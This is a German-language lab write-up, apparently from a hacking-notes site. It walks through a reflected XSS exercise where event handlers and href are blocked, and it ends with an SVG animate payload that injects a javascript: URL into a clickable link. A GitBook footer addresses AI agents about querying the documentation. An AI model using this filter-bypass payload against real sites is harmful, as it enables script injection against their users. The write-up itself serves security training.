> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS mit blockierten Events und href-Attributen

### Reflektiertes XSS mit blockierten Event-Handlern und href-Attributen

Lab d Die Operation muss ein anklickbares Element mit den Wörtern einschleusen **"Klick"** (oder gleichwertig) und auslösen `alert()` beim Klick.

Füge ein sichtbares Element mit dem Wort ein **Klicken Sie** das, wenn der Benutzer darauf klickt, ausführt `alert()` trotz des Verbots von Event-Handlern und `href`.

```javascript
<script>
```

* Einfügen `<script>` liefert zurück: *Tag ist nicht erlaubt*.

<figure><img src="/files/75c917777158411c05ad79da900349bad18b78f8" alt=""><figcaption></figcaption></figure>

* Das `<a>` Tag wird akzeptiert (z. B. `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/62dd1823fafbbe726eeeb5278bc9947f1f4b7b51" alt="" width="510"><figcaption></figcaption></figure>

Das `href` Attribut wird abgelehnt — `href="JavaScript:..."` wird blockiert.

```javascript
<a href="javascript:alert(0);"Click me</a>
```

<figure><img src="/files/8a7a3b1440d2572b6afc0aef1b42a65d99ae4ee3" alt=""><figcaption></figcaption></figure>

* SVG-Elemente sind erlaubt (`<svg>` wird akzeptiert).

```javascript
<svg>
```

<figure><img src="/files/ed8153c74239bfa4af28c2992e6b522e28c36281" alt="" width="563"><figcaption></figcaption></figure>

* SVG-Animationselemente (wie z. B. `<animate>`) scheinen vorhanden und ausnutzbar zu sein.

<figure><img src="/files/19cc83c51e109f91237b18a391825bcd932b1044" alt=""><figcaption></figcaption></figure>

**Versuche —**

* Einschleusen `<script>` → abgelehnt.
* Verwenden Sie `<a href="JavaScript:...">` → verbotenes Attribut.
* Umgehung der Blockierung durch die Kombination von SVG- und Animationselementen, um einen `href` Wert an einen Anker zu übertragen und so zu versuchen, `JavaScript:alert(0)` beim Klick.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>Click me!</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
